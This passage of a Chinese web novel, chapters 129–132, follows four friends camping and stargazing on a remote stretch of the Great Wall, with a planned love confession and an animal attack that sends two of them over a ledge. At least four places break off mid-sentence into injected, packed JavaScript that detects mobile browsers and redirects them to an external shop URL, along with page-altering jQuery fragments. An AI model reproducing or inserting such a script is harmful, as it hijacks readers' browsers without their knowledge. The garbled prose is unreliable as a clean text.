旁边谷奕却突然凑在她耳边,笑嘻嘻不怀好意地说了一句: “他起得比我还早。” “我的直板夹和发胶还是管他借的。” “他每个动作都是精心设计过的。如果没人看懂的话,他真的会很痛苦耶~~~” ? 黄怀予一副见鬼的表情看他,“你还懂这个梗?” 谷奕瞟她一眼,“不行啊?你跟苏琬天天都玩各种梗,我听都听不懂,总得去补补课吧。” 黄怀予沉默两秒,突然说: “那你觉得……他这么打扮的目的是什么。” 谷奕没注意到她语气的奇怪之处,大咧咧说:“没什么目的,人家当偶像当惯了,去哪都这么打扮。他的每天的工作就是吸引女粉丝,做这些事已经是职业习惯了。新娱以前还有穿搭课的,男爱豆必修。” “……哦。”黄怀予低下头,声音有点自己都没察觉到的失落,“原来是这样。确实,挺合理。” “不过吧。” 谷奕抱着胸,盯着楚恒一步步走过来的高挑身影,突然有些酸溜溜,“今天是我的主场。他搞这么隆重,总有一种自己被比下去了的感觉。大封六宫,甄嬛占尽了便宜,且让她得意几天吧。” “……我看你是上瘾了。” 黄怀予看了一眼已经在车的另一边等候的苏琬。今天苏琬扎了一个高马尾,穿了一件薄外套,微风吹过,她仰头喝了一口水,鬓边柔顺乌黑的发丝被微微吹动,露出白皙纤细的脖颈,她似乎注意到了黄怀予的目光,转过头来冲黄怀予一笑,杏眼里闪过星星点点的笑意。 “别忘了我们做过的计划。” 黄怀予冲苏琬挥挥手,嘴上却对着旁边的谷奕说,“快露馅了就找我的茬,我帮你垫着。你现在最大的任务就是把你的傻气收一收。” 谷奕表情迅速严肃起来,“我努力。” …… 车一路行驶,来到了延庆区。 谷奕计划去一段比较冷门小众的残长城,后续没有太多修缮,很是原始,也偶尔会有些露营爱好者过来露营。 顺着昌赤路,窗外景色变化越来越快,从城市一路变成山林景象,周围山川起伏一片苍翠。 黄怀予安安静静看着窗外的景色,心也变得很平静。 她来帝都这接近一周的时间里,奢侈迷乱的夜生活也体验过了,米其林餐厅也体验过了,古都国韵也体验过了,自然风景也体验过了。 大千世界花花绿绿,自然亿万年周而复始地存在,人类一代一代在文明中成长,她盯着山林间几只倏然飞向天空的鸟雀,觉得世界多美好啊。 一旁传来苏琬的声音:“要听会歌吗?” 谷奕应了一声,下一秒前方车头处就骤然传来极其大声的音乐,如同平地一声惊雷: “开心的锣鼓敲出年年的喜庆 好看的舞蹈送来天天的欢腾 阳光的油彩涂红了今天的日子哟 生活的花朵是我们的笑容 哎!今天是个好日子 心想的事儿都能成 今天是个好日子 打开了家门咱迎春风” ? 宁静的心境被骤然打乱,黄怀予转头去看谷奕,只见他侧脸红红的,似乎是有些紧张,坐立不安。 “换歌!吓我一跳。”黄怀予瞪他一眼。才跟他说让他收点傻气,这看上去又快要暴露了。 “……不能听这首歌吗?我想求个好意头嘛。”他小声嘟嘟囔囔,又在手机上点了几下,下一秒歌声被切断,换了一首新的: “好运来祝你好运来 好运带来了喜和爱 好运来我们好运来 迎着好运兴旺发达通四海!” …… 车内响起欢快喜庆的祥和曲调,各种民族乐器轮番上阵,一下子震得无人说话。 苏琬:“你今天很开心?喜欢听这些歌。” 谷奕不敢看她,脸红扑扑的,“嗯……挺开心的。今晚,马上要实现我的愿望了。” “所以,我,想求个好意头。” 他偷看了苏琬一眼,又极快收回目光,前额刘海遮住眉眼,小声说,“希望我的愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033036|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望可以实现。” 黄怀予在旁边看见了全过程,暗骂他一声不中用,抢过话头,“知道你很想看流星雨,但是别期待那么高,流星雨不一定会有,没有的话我们看星星也行。” 她三言两语就把谷奕模棱两可的话变成了想看流星雨的心愿,苏琬听了也同意似地点点头,安慰谷奕,“嗯,不用要求完美。生活就是这样,每一刻都是最好的。” 谷奕听了这话愣了一下。 苏琬的话,和之前黄怀予在自己房间里做计划的时候说的话一模一样。 “不用要求完美”? 他听得有些迷茫,不太理解这句话到底意味着什么。 超出计划就等于失败,难道不是吗?想来想去,他也想不出来答案,谷奕本来就讨厌思考,讨厌逻辑,讨厌理论。窗外山脊荒凉,他脑子空空,干脆不再考虑了。 * 车停在马路边,前方一片荒凉山景,周围无人。 车开不上去,雷师傅会在马路边停着,但是不会一起在山上过夜,遇到任何情况都会在下方接应。 几人下了车,打开后备箱,满满的装备都需要他们人手搬上去。 黄怀予最先来到后备箱前,翻翻找找许久,终于找出一包看上去最轻的装着食物的袋子,想也没想就递给了苏琬。 “你拎这个。” 她递出去以后连头也没回,随手就拿起了另一大包东西,准备自己拎。旁边谷奕和楚恒也下了车,纷纷走到她旁边,分着拿。 苏琬一个人站在后面,身形单薄。手上的东西拎着并不重,她看着后备箱那几个大包,有些不好意思地咬咬唇,“没关系的,我也可以拿!” “不用。大忙小忙都是帮忙,意义是一样的。”黄怀予没回头。 楚恒站在黄怀予旁边,伸出手,翻腾摩擦之间一个包的拉链却不小心被弄开,里面露出一朵鲜艳欲滴的红玫瑰。 ——与周围所有硬核的荒野求生装备极其不相符。 楚恒动作一顿。 “?!” 黄怀予眼睛都直了,迅速瞄了一眼身后苏琬的位置,赶紧不动声色挡住她看向后备箱的视线,立刻伸出手把拉链拉上。 操!谷奕这么重要的东西怎么不藏深一点! 她心慌慌地看了一眼楚恒,果然对上了他投射过来的有些探究的眼神。 “……”她干笑两声,“楚老师,给我吧,这个包我来拿就行。” 楚恒看她一眼,“你手上已经有一个包了。” “那就,你帮我拿这个。”她迅速把手里的那个扔给楚恒,一把接过装着红玫瑰的包,“这个,我来。” “大傻!” 她语气有些咬牙切齿,背对着苏琬,看着旁边的谷奕。 “过来拿东西。” “哦。”谷奕完全没注意刚刚那些事,应了一声就乖乖走上前几步。 他往后备箱里伸手拎出来一个黑色的大包,直接看也没看就甩到了背上,完全没看到拉链已经被蹭到了最上方。 下一瞬间,没拉上的拉链中间就随着他的动作甩出来一个粉色的东西,速度极快,“啪——”地掉到地上,直接摊在四个人面前。 ——一个粉色的爱心形状铝制巧克力礼盒,用大红色蝴蝶结缠绕包裹,精致得像下一秒就会出现在求婚现场。 邦地一声砸在地上。 盒子中间写着一串英文:PierreMarcolini。 130. 第 130 章 四个人之间陷入尴尬的沉默。 “……” 谷奕人彻底傻了,呆呆地看着地面上那盒巧克力,一动不动。 完了! 怎么办?怎么办? 还能怎么解释? “你买这个干嘛?”黄怀予最先反应过来,“我们带了那么多吃的,你爬个山还要吃巧克力?” “……我……”他嗫嚅着回答,看见黄怀予背对着苏琬冲自己眨眼睛,才终于想到了那个“起承转合和杯姐吵架”的主要方针,结结巴巴地说,“我就喜欢吃这个牌子的巧克力。” “你吃就吃,买个这种包装,什么意思?臭美得要死。” 谷奕一听这话立刻就把注意力转移到了被黄怀予说“臭美”这件事情上了,他马上回复:“不行吗!我就喜欢好看的东西!” “那你自己背!带这么多乱七八糟的上去,重都重死了。” “我就带!” “不准带!” “我就带!” “不准带!” “我就带!” “不准带!” 谷奕转向一旁的苏琬,指着黄怀予,“你看她!” “好好好。你喜欢吃就带着吧。”苏琬已经习惯似地出来主持大局,赶紧走到中间把两人拉开,“一盒巧克力而已,你们两个怎么永远这么幼稚。” ——粉色巧克力礼盒危机被解决,给出的理由也算正当,苏琬的注意力也被转移到了劝架上。 黄怀予呼出一口气,瞪了谷奕一眼,心想她和谷奕两个人果然在吵架这件事上拥有完美的默契。 …… 上山的路上总算没有其他意外发生,一路都很顺利。 四人和雷师傅一起把所有东西搬了上去。 这段残长城和几人昨天去的已经成为景区的慕田峪完全不一样,周围荒凉野生,城墙斑驳古老,石砖错落,很多地方只是一块宽阔的石砖平台,四周没有任何遮挡。 站在平台上,向四周望去,雄壮山岭间,长城蜿蜒缠绕,静静地沉默地经受着风霜的摧残。 四人放下东西,雷师傅极其专业地就在一旁开始安安静静扎帐篷。 苏琬很有兴趣,跟在一旁蹲着看,偶尔问雷师傅几个问题。 黄怀予站在平台另一侧,远眺前方壮阔苍凉的山景。 下一秒,谷奕就从旁边紧张地凑过来,小声说:“杯姐,我刚刚演得怎么样?” 黄怀予睨他一眼,“尚可。” 谷奕长得高,他弯下腰低声凑到黄怀予耳边说话,从旁边外人的角度看上去像是把她整个拢住。他低下头,把头垂到黄怀予耳朵边,两人距离极近,混在一起的身影竟然透出丝丝缕缕的暧昧。 黄怀予还在抬头看天空,看等会天气会不会有变。 ——结果下一秒一转头,余光就扫到,楚恒正一个人站在角落里,直直地看向自己。 他似乎已经就这样盯了很久,眼里明明暗暗。 ! 黄怀予吓了一跳,立刻感觉到自己跟谷奕现在看上去不像是刚吵完架的状态,马上就推开谷奕,大声说:“别以为你给一点小恩小惠我就会原谅你!” 谷奕一愣,马上也跟着反应过来。 “杯姐,我错了,这个牌子的巧克力真的很好吃,等会给你吃。” 他的一只大手也跟着扯上了黄怀予的胳膊。 本来这也没什么,这对她和谷奕来说也算不上什么亲密接触,可是她被角落里那道灼灼的目光盯着,突然就觉得不自在,别扭地挣开谷奕的手,“看你表现吧。” 谷奕心想杯姐戏可真好,太沉浸了,临走前还偷偷给她竖了个大拇指。 黄怀予:“……” …… 现在正是中午,雷师傅搭好了帐篷,又开始掏出烧烤架,准备开始烧烤。 黄怀予惦记着谷奕的表白计划,刚想着用什么理由给那两人制造点机会,转眼就看见谷奕早就已经蹭到苏琬旁边了。 两人正一起往架子上放肉,一坐一站,俊男靓女,背影在这原始山林间竟然有一种赏心悦目的美。 ——还挺搭。黄怀予心想。 看了一会,就感觉身后好像一直有一道灼热的目光盯着自己。 她回头,一下子就撞见了楚恒那双沉沉的眸子。 他站在一边,微微扬着头,双手都插进了工装裤口袋里,白色冲锋衣勾勒出精瘦的身形,微风吹过他前额的几缕刘海,露出光洁的额头,和轮廓深邃的眉眼。 他神色很冷,但是那双眼睛,就这样直勾勾地注视着她,眼里似乎燃烧着炽烈,还有很多黄怀予看不懂的情绪——像是一些露骨的欲望,一些沉溺的风波,茫茫海洋上燃烧的烈焰,冷意和热烈交缠在一起,咄咄地猛烈。 ……她愣怔。 心脏停跳一拍。 她从来没见过这样的楚恒,也从来没有预料到楚恒会在暗处用这样的眼神看着自己。 像路边的野犬,孤僻冷漠,但是盯住猎物的时候眼里却像燃烧着毫不掩饰的欲望的火焰。 黄怀予很快反应过来,掩饰下自己的不自然,怕楚恒发现自己过于关注苏琬和谷奕那边的情况,于是主动走上前,“楚老师,你想吃什么,我们一起烤吧。” 她的主动搭话似乎让他身上那股摄人的低气压减轻了一点。楚恒一把把她手里的工具拿过来,凉凉地看她一眼。 “很关注他?” ? 黄怀予还没反应过来要说什么,楚恒立刻抓住她的手臂,就抓在刚刚谷奕抓过的地方,一双眼睛还紧紧盯着她的脸。 “过来点。” “既然要一起烤,为什么要站那么远。” “……”黄怀予哦了一声,被他用力拽过去,顺着他的力气往前走了几步。两人现在近到她鼻子几乎马上要擦过他的胸膛,几乎都可以闻到他身上淡淡的花香气息。 低头看看,他却依然没松手。 她看着被他紧紧握住的手臂,皱了皱眉,不由得终于问出那句一直想问的话: ——“你是真有洁癖吗?” 楚恒看她一眼。 半晌低下头,才缓缓说出两个字。 “分人。” 黄怀予心头猛地一动。 是她想的那个意思吗? 她咬唇别开视线,没有再继续问,坐在小马扎上,盯着眼前跃动的明火火焰,撑着下巴,“想吃什么?” 旁边那人也拉了一个折叠椅过来,坐在她身边,膝盖不经意擦过她的大腿外侧。 “什么都行。” 说完,他又发出一声意义不明的轻笑,声音有些冷硬。 “除了巧克力。” * 太阳下山,夜幕终于沉沉地压了下来。 谷奕从日落的时候就开始忙活。他们搬了四架望远镜上来,谷奕一个人坐在地上埋头安装,两条长腿随意搭在地上,四架全部被他一个人装好了。 天文望远镜又大又重,谷奕的望远镜更是非常昂贵,他一个人低着头也不说话,表情是难得一见的认真,垂下头的时候发丝轻轻晃动,一个人安安静静坐在那里。 “搞定。” 他拍拍手,四架望远镜全部一字排开,巨大的镜筒遥遥指向天空。 雷师傅已经下山了,之前烧烤的火已经被灭了,夜幕降临之际周围山林之间安静得有些可怕,破旧的石砖平台边缘被谷奕放了三个照明灯。 黄怀予站在平台边,抬头看着夜空,轻轻呼出一口气。 月淡星浓,夜色暗合,巨大的深蓝色的天幕包裹着世间的一切,漆黑的山间偶有风声,树影被吹动,整个世界都陷入一种沉沉的死寂,像是宁静又像是诡异,在这里人类的力量好像显得极为渺小,自然足可以把一切吞噬掉。 夜空中数以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚恒很冷静地看她,点点头。 “你是说6月8号那天你在1969抱着我嚎啕大哭然后把眼泪都蹭在我衣服上的时候吗?” “确实很坚强。” ? 黄怀予没想到楚恒居然有一天能说出这样的话,不可置信中还有些恼羞成怒,“你!” “那是因为那天太黑了!我有点害怕而已!” “我才不胆小!我也不喜欢哭!我很胆大很坚强!你知道我的外号叫什么吗?她们都叫我楚门悍妇!” 她转过身不看他,气呼呼地站远两步。 “你要是嫌弃,那件衣服链接发我,我赔给你。” 她背对他,炸毛的背影像一只刺猬。 身后慢慢传来一声笑。 “好。” “这位很胆大很坚强的悍妇小姐,对不起。” “我错了,原谅我吧。” 他的声音与以往冷冰冰的语气完全不同,轻柔,带着服软和妥协,低沉清润。 “……”黄怀予脸不知不觉红了,却还是很有原则地继续背对他,粗声粗气道,“那你保证忘了这件事,以后都不再提。” 身后的人沉默两秒,开口道: “可以不提。” “但是忘记,做不到。” 她转过身,瞪他,“为什么?” 楚恒双手慢慢插进口袋里,扬起头,眉宇之间染上了一点夜间的寒气。他就这样盯着黄怀予的脸,一瞬不瞬。 “因为那一幕,对我来说,很难忘记。” “并且,那件衣服,也被我保存起来了。”他眼神慢慢变得有些粘腻,声音很沉,“不洗。” 131. 第 131 章 苏琬走到右边第二架望远镜边。 纯黑色的,又大又重,几乎和周围的黑夜融为一体。 她问一旁的谷奕,“这是辛桐送给你的那一架吧。” “可以啊。”谷奕有些惊讶地看她一眼,挑眉,眼里带着笑,“这你都认得出来?” “这架给你用。”他走到她身边,直接帮她调起了寻星镜,神色很是认真,“这架高端机型,顶级配备,是这四架里面性能最好的。” “给我用?可是我之前从来没用过,你怎么不留给你自己看?毕竟你是专业的。” 谷奕之前安装的时候已经把这架望远镜的三脚架按照苏琬的身高调成了最适宜的高度,这个高度对他一米八/九的个子来说实在太过局促,于是他正弯着腰,眼睛贴在目镜上。 他就这样一边闭着一只眼睛,一边帮她调整,极其理所应当地说: “给你的,当然得是最好的。” “我用我之前那架就行了,就是我在楚门一中宿舍阳台上的那架。够用了。” “剩下两个楚恒和杯姐的,是我以前买的,一直放在家里,我之前从魔都一起带过来了。” 他直起身子,散漫地站着,右手轻轻拍拍巨大的镜筒,长眸里闪着星星点点的笑意。 “来,试试。” …… “远处那个山,有个敌楼,看见了吗?” “你先对准那个。” “调一下调焦器,把放大倍率调到最小。敌楼和寻星镜中间那个十字对齐了吗?” “没关系,没对齐就再调。” “别怕,我就在你旁边。” “对好焦了吗?” “好,先看一会,习惯一下。” “刚开始会很模糊,慢慢就会变清晰。” 谷奕声音很轻,却是难得的认真。 他在旁边站着,看着苏琬。 他一句一句教,苏琬一步一步学。 苏琬学得极快。 她一直这样聪明,一直机敏,在学校里就是那么优秀,没有偏科的科目,什么东西都是看一眼就会。 谷奕的目光落在她身上。 少女身形单薄,但是在这黑夜里竟然显出一丝强大沉着的冷静,她不说话,一步步跟着他的教授一点点做,循序渐进,说到后面竟然已经可以预料到下一步要干什么。 谷奕竟有一丝错觉,她不像是在看星星,反而像是正在狙击,硕大的镜筒就是她手里的枪。她不需要热情,不需要活力,反而她沉着冷静,不苟言笑,她沉静地隐匿在这黑暗里一动不动,展现出和她清丽外表全然不同的冷毅。 ——像一块黑夜下的美玉,泠泠的清冷月光洒下来,玉圭发着黯淡冷色的光,美丽却坚硬。 “……”屏住呼吸的那一刻,他才骤然意识到自己已经这样盯着她很久,竟然一直都忘了说话。 他轻咳两声。 “接下来,你,你可以开始试着对准天空了,然后找一找想要的——” “我找到了。” 苏琬打断他。 她一动不动,盯着目镜,笑了一声。 “我已经看到月球了。” “先开始看不见,我觉得是因为放大倍数太高,所以我一点点调小了。” “今天月相是上凸月,我已经清清楚楚地看见月球上的陨石环形山了。” 她双眼离开目镜,站直身体,用肉眼望向天边的一轮月亮,眼里闪着兴奋的光。 “真神奇。” ……谷奕怔怔地看向她望向天际的侧脸。 他喉间突然涌上极重的涩意,喉结上下滚动一下,五指收紧握成了拳头。 “是啊。真神奇。” 世人的月亮,在天边。他的月亮,就在他眼前。 * 黄怀予站在左边第二架望远镜前,从摸到望远镜的那一刻起就极其兴奋,让谷奕教自己怎么用,认认真真地学了十几分钟。 “现在比较明亮的是木星。你们可以试着找找看。” “什么?!在哪!” 黄怀予一下子跳起来。 谷奕指着天空的某处方向。 “你先用肉眼看。在那,月亮旁边,比其他星星要亮很多的那一颗,就是木星。它是夜间天空最亮的星,很好认的。” “哦哦哦!” 黄怀予终于看见了,星星虽然多,但是那颗星星却极为明亮。 今夜月亮黯淡,它竟然衬得周围其他星星都变得小了许多。 她上次圣诞节晚上和苏琬谷奕去天台看星星的时候,他们俩都是一下子就能找到,而她却因为视力不好啥也找不到。 这次终于用肉眼一下子就能看见了,她兴高采烈地几步跑回自己的望远镜边,开始认真低着头捣鼓。 四个人现在全都站在自己的望远镜前,都在寻找木星。 虽然肉眼看的时候非常明亮,但是用望远镜去寻找的时候却很困难。肉眼能看到的星星并不多,因此木星极其显眼。但是望远镜里却可以看见非常多的星星,浩瀚一片层层叠叠,对于除谷奕以外的新手来说都很难分辨。 最重要的是,木星一直在移动。也许才刚刚找到一点点踪迹,下一秒它就会迅速移动出镜头之外。放大和缩小的比例很难把控,就只能从头开始。 几人全都低着头不说话闷头找,一时间平台上安静一片,混杂着夜间山林里偶有的风声,诡异之间又透出宁静。 就这样过了十几分钟,旁边突然传出谷奕一道放松的声音: “我找到了。” 他果然是几人之中最快的,掏出相机认真拍摄了好几张清晰的木星照片之后,呼出一口气,直起身子,走到后面拧开一瓶水,咕咚咕咚灌了两口,又拆了一瓶给苏琬递过去。 又过了十分钟,苏琬也抬起头,长舒一口气,有些兴奋地说:“我也找到了!” “土棕色的!一圈一圈绕着。” 她转过身,对上谷奕含着笑意的眼睛。他点点头,感叹道:“你已经出师了。” “什么?你们都找到了?” 黄怀予声音有些闷,她已经站在望远镜前一动不动地站了快半小时了,依然一无所获。 其他三个人都不近视,眼睛视力都很好,只有她有几百度的近视加上散光。今天出门前为了方便她特地换了隐形眼镜,但是也并没有好多少,暗处天体对她而言依然难以辨别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050065|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼睛使用有些过度,传来涨涨的酸麻感,她眨眨眼睛,在这有些冷意的空气里她额头竟然出了薄薄一层汗。 黄怀予有些沮丧地直起身子,颇为羡慕地看了一眼右边已经成功找到的两人,又不由自主看向左边那人。 “楚老师……” 她小步子往左边移动两步,试探着问:“你找到了吗?” 楚恒从目镜边抬起头来,转头看向她,一眼就能看见她额头上为了找星星而出的一层薄薄的汗。 她已经没有休息地站了半小时,但是却眼睛明亮,声音里带着期待。 楚恒想到几分钟前刚刚才完完整整出现在自己镜头里的清晰的木星影像。 顿了顿,说道: “没有。” “哦。”她肉眼可见放松下来,呼出一口气,“那就好。” 楚恒轻笑一声,“什么意思。” “啊你别误会,我不是那个意思!我是说,有人陪我就好了,我不想当最后一名嘛。”她有些不好意思地笑笑。 …… 四十分钟过去。 其他三人在这期间已经陆陆续续观察到了许多其他的天体,此时正在后面平台上坐着休息。 谷奕铺了一层很厚的地垫,宽阔柔软,隔绝了地面上沁出来的冷意,三人坐在上面,周围摆着几瓶水和一些零食,随意看着夜空闲聊。 ——只有黄怀予仍然一动不动,闷声站在望远镜前,还在执着地找着木星。 眼睛越来越涨,不适感越来越重,她把鬓边一缕汗湿的头发捋到耳后,依然一声不吭地坚持。 其他三人也没劝她,大家互相之间太过了解了,黄怀予就是这样一个人,她争强好胜,进取心重,从小到大都是力争上游。她并不是想把别人比下去,而是单纯的不服输。 “啊啊啊啊!!” “是这个!是这个!!” “找到了!我找到了!” “棕色的,一圈一圈的条纹形状……那是它的云层吗?” “哇,跟地理书上的一模一样!” “我还可以再放大吗?会看到大红斑吗?” “啊啊啊啊!!” “好开心!好开心!今天的努力没有白费!” 她掏出手机对着镜头拍了好几张,并且录了一段视频,一直拍到木星一点点移动出镜头里的视野之外。 收起手机,又一下子跳起来,兴冲冲地站直身子,冲身后三人坐的地方飞扑过去。 楚恒瞳孔骤然一缩,立刻直起身跪在软的地垫上一把接住她。 她被一双大手接住缓冲了两下,整个人摔在垫子上,“哎呦”喊了两声疼,又迅速爬起来,一双乌黑的眼珠亮晶晶的,鼻尖还冒着汗,嘴角得意地咧了起来。 “我厉害吧?” ……三人愣住,失笑。 楚恒收回手,脸上透着些无奈。 “嗯,厉害。” 黄怀予又看看楚恒,很是真诚地说:“楚老师,我等会就带你找,你也可以找到的。” 他看着她。 “不用了。” 他唇角扬着若有若无的笑意,“我愿意当最后一名。” 132. 第 132 章 为了等流星雨,四人就这样一直在星空下等到了十二点。 星星满天都是,层层叠叠像是画布上随手洒下的白色颜料点,一片片汇成浩瀚星空,银河朦胧,深邃广阔,光明点点。 黄怀予裹着毯子躺在软垫上,把自己的书包垫在脑袋底下当枕头,看着天边浩瀚星河。 右边谷奕和苏琬有一搭没一搭地闲聊,声音很轻,讲着小时候的故事和宇宙里的秘密,后半夜的山林间微微传来风声,夹杂着淡淡冷意的清新空气钻进鼻间。 她摸着身上柔软的毛毯,迷迷糊糊中感觉银河仿佛变成了她的被子,她睡在自然编织出的美好梦境里。 “牧夫座流星雨很难预测,也不会有显著的喷发。上一次大型的爆发已经是在1998年了。” “如果我们足够幸运,今晚说不定真的可以看见流星雨。” 谷奕抬头盯着夜空的某一处方向,声音轻得像是要飘起来,又好像带着他的一丝执意的期盼,“二十年一次的流星雨。” 他瞄了一眼旁边堆放的几个黑色大包。他也不知道表白的时候应该准备些什么,按照他前十几年人生对电视剧的依葫芦画瓢的经验来看,花和巧克力一定是必须的吧? 他今早刚订的最新鲜的大红色玫瑰花,前两周就买好了的最经典的粉色礼盒巧克力,还有一大堆金项链钻石戒指银手链……好像这些东西是求婚的时候才会用到的?算了,管他的,只要有的统统都加上。 他的计划就是,想在最盛大最灿烂的时候,流星划过天边,他重要的人都在身边,大家一起兴奋许愿,他再变出一大束玫瑰,带着这样的一颗心,交给他最喜欢的人。 流星雨真的会如期而至吗?他从小到大认识很多有钱人,都很迷信,因为不知道下一刻会不会还会拥有这么多财富,不知道下一刻会不会就死于非命,不知道人生会不会永远这样幸运,所以会神神叨叨地祭拜鬼神、感谢宇宙。 此时此刻的他好像也有一点理解了。 他不知道下一刻会不会还能和苏琬在一起,不知道表白的结果会不会如他所愿,甚至不知道如果被拒绝他和苏琬还能不能当朋友、会不会为了避嫌而永不相见。 所以,假如今晚,这场流星雨真的从他们头顶划过了呢? …… 凌晨一点。 天边依然平静。 繁星闪烁,银河万里。其他三人都极其放松,就连楚恒都躺了下来,安静地坐在黄怀予旁边的垫子上欣赏夜色。 只有谷奕隐隐有些失望,一个人心神不宁,仍然执着地等着。 后半夜越来越冷,苏琬怕冷,又困,已经准备进帐篷睡觉了。谷奕一下子紧张起来,想劝她再等等,说不定等会流星雨就来了。 苏琬笑着,像是心情很好,“没有等到也没关系,能看到星星我已经很满足了,今天我很开心。”说完她就已经准备站起身。 谷奕很是沮丧,又不知如何开口。 黄怀予看见了,立刻上去悄声对他说,“既然没有流星雨,那你得找个浪漫的时机开口。要不等会,你也进帐篷,你们先在里面聊聊?” 她给出了一个很现实的planB,可是谷奕却摇头,闷声不语。 黄怀予看他神情恍惚,还在想怎么劝他,突然就发现周围照明灯猛地一晃,一只不知是什么东西的很大的黑影迅速窜了出来。 “什么东西!”几人吓了一跳。 黄怀予定睛一看,发现是一只很像猫的动物,但是体型又比平常的猫大出很多,样子也更加凶恶。那动物身上的毛看上去并不柔软反而又尖又刺,长相可怖,正在低声发出怒吼,到处乱窜。 最后一把冲到了照明灯边,光束一下子被弄倒,周围本来称得上明亮的环境瞬间变得混混茫茫看不清起来。 “啊!” 那只动物一路乱窜,发出慑人的低吼,发怒的声音听的人心里发毛。周围的东西全部被它叮叮当当弄倒,光线昏暗之下只能看见一只巨大的动物在四处发怒翻腾。 突然,它一下子冲到了四架望远镜边上,它体型巨大又速度极快,带着猛力横冲直撞撞上了三脚架,三脚架发出“咔嚓”的声音猛地一折,沉重的望远镜顿时晃晃悠悠,眼看就要彻底砸下来。 望远镜足足有接近一人高,本身又极其重,这样重重地摔下来一定会碎掉。 谷奕的这几架望远镜可都五位数起步! 黄怀予“哎!”了一声,想也没想就几步冲了出去。 望远镜本身就在平台边缘,她几步跑了过去扑到地上伸手去垫,下一秒右脚却直直地擦过坚硬冰冷的石板平台地面,重重地崴了一下,痛得她冷汗瞬间就下来了。 望远镜一整个砸在她手臂上,得到了缓冲之后重重地滚到旁边。 在场的人都被这突如其来的变故吓傻了,苏琬才反应过来喊了一声“杯子”就准备跑过去,没想到余光里看见另一个穿着白色冲锋衣的身影立刻以极快的速度朝着黄怀予冲了过去。 下一秒那只动物怒吼着再次撞了过来,黄怀予坐着的身后就是平台边缘,她看着那只动物直直地朝自己的脸撞过来,下意识就往后仰躺,骤然失去重心,整个人躲避不及尖叫一声倒着摔了下去。 “!” 苏琬瞪大眼睛,就看见那个刚刚冲过去的白色身影几步就扑了上去,一把搂住了黄怀予,两个人抱着一起滚了下去。 …… “卧槽!” 三个照明灯被撞得七零八落,现在连想要看清楚路都很困难,那只动物还在不停撞来撞去,它的体型几乎有一只中型犬那么大,光是骤然发怒就已经让人不敢上前接近,更不要说现在唯一的照明都被撞翻,所有东西都一片狼藉,一不小心就会被绊倒摔跤,整个平台上一片混乱。 苏琬躲闪不及被它撞倒,在地面上滚了半圈,头上还沾了两根杂草。下一秒她就被谷奕护在了身后,他摆正了两个照明灯,又从包里掏出一把刀防身。 奇怪的是,那只动物突然不动了,像是平静了很多,它看着谷奕手里的刀,速度慢了下来,走到了几人堆在一起的行李边,喉咙里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062398|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出断断续续的吼声,不像是发怒,反而像是在表达着什么意思。 “……”苏琬借着已经摆好的灯光认真看了看,发现它一直围着那几个包转来转去,一边转还一边回头看谷奕和苏琬,动作里好像还带着一丝讨好。 “它是不是……”苏琬轻轻开口,“想吃东西?” 谷奕皱着眉头,又观察了一会,确认它没有攻击的意思了,才慢慢放下手里的刀。 他走上前几步,离那只动物越来越近,它也没有惊慌或者做出攻击的状态,反而依然围着那几个包转来转去。 谷奕蹲下来,拉开拉链,掏出几人中午吃烧烤吃剩的肉,试探着扔到了它面前,它迅速弯下头叼起了地上的肉,一个箭步就转身“嗖——”地冲进了黑漆漆的林子里。 “……呵。” 谷奕有些呆滞地看着那个一秒钟就消失在石头草丛之间的身影,唇间发出一声有些不可置信的嗤笑。 “我说呢。” “这里经常有人来露营,怎么会突然出现这种动物?看来是它经常被人喂东西,久而久之就知道晚上顺着光亮就能找到人,能要到食物。” 两人还没来得及松口气,谷奕赶紧跑到刚刚黄怀予和楚恒掉下去的地方,拿起灯往下照了照,“黄怀予!楚恒!” 没有人回答。 平台下面,是几乎达到90度的陡峭土坡,黑暗无比,灯光照下去只能看见灰尘和泥土,杂草丛生,层层叠叠挡住,什么也看不见。 周围重新陷入安静,偶有微风吹动树影,越是安静就越是让人心慌无比。 苏琬强制让自己冷静下来,“他们俩带了手机吗?” 两人拿着灯在地垫和行李边到处翻找,找到了楚恒的手机,但是没找到黄怀予的手机。 “杯子带了,楚恒没带。” 